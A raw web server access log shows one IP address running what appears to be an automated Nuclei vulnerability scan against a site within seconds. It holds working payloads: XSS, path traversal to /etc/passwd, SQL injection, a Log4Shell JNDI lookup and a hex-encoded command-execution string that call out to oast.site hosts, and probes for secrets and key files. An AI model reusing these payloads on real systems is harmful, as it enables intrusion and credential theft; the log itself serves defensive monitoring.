[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /specification/report.php?q=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/test.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/pods HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /json-rpc/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.development.js HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pipeline/apis/v1beta1/runs?page_size=5&sort_by=created_at%20desc HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /media../.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cDovL29hc3QuZnVuL3JvYm90cy50eHQ= HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/nodes HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/karma.conf.js HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /healthz HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pods HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/services HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kfm/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/system HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /README.txt HTTP/1.1" 4760
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kustomization.yml HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pods HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiserver-etcd-client.key HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hosts HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/pZHBDoIwDIYfqZVF4DoIEg5KBEHWi9mBIAnbjCEefHqH8SARJNGe2qRf_78tEFRAWt7aRvat0bKztSD3hKPgGGROwBDjEuH4bOBxWewx9NzUOzBMki3mWRSs_M0a6IN_n_Ti5wRiZ4Kf0J9r8PEXfmTwL_0Sl_YXlvfm-CRFKLS5KvuJHAgoDXeL9wKSBkR_VkPa6QZEra1N-rrJcKglqxdV2KjuEVM-czP-AKyJL-g!/dz/d5/L2dBISEvZ0FBIS9nQSEh/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/namespaces/default/secrets HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /runningpods/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats/summary HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 226
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WCC2/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/page?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/error_log HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WS/Basic/Basic.asmx HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_ignition/health-check HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LTX_navi.html HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /labkey/home/login-login.view HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+ HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20d5g6sfahausljekepl201xozmz34xndm3.oast.site%22%29&type=1 HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/sys-common/treexml.tmpl HTTP/1.1" 196
[09/Jan/2026:10:52:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_admin/user/login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/home/login.view HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/Signup!default.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucees3ezf%3cimg%20src%3da%20onerror%3dalert('380CxxTka4mtEvXg3x4nykHTXDk')%3elujb7/admin/imgProcess.cfm HTTP/1.1" 199
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/pods HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type&file=passwd HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapi/v1/system/accountmanage/account HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/custom.xml HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci HTTP/1.1" 199
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod.local HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //explorer HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/device_info/device_info HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/products HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci HTTP/1.1" 199
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/web.cfm HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVersion HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logstash/pipeline/$%7Bjndi:ldap://$%7B:-327%7D$%7B:-683%7D.$%7BhostName%7D.username.d5g6sfahausljekepl20edanhazy3g473.oast.site/g1hfS%7D HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login_settings HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager?type=Files HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downlot.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.lesshst HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/lab HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lfm.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/data/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_ignition/scripts/--%3E%3Csvg%20onload=alert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.production.js HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/viewer_index.shtml HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/resource_config.json HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/mobile.log HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/etc/local.xml HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.log HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?login=lutron&password=lutron HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/WEB-INF/web.xml;.js HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //readme.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../WEB-INF/web.xml;x= HTTP/1.1" 226
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/axis HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/doc/functions.cfm HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&match_day=1&team_id=1&team_id=1 HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus-auth HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /a.htaccess HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/rulectl?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/admin/web.cfm HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossass/jbossass.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusters/local HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hub/login?next HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib../.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /homepage.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/stats HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/admin HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/logs/laravel.log HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=installer/welcome HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /namespaces HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ftp.ini HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/checks HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/liferay HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/tools/track_mail_click.php?url=http://site%252F@interactsh.com/ HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /karma.conf.js HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magento_version HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/login HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftb.imagegallery.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:52:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/tests.yml HTTP/1.1" 196
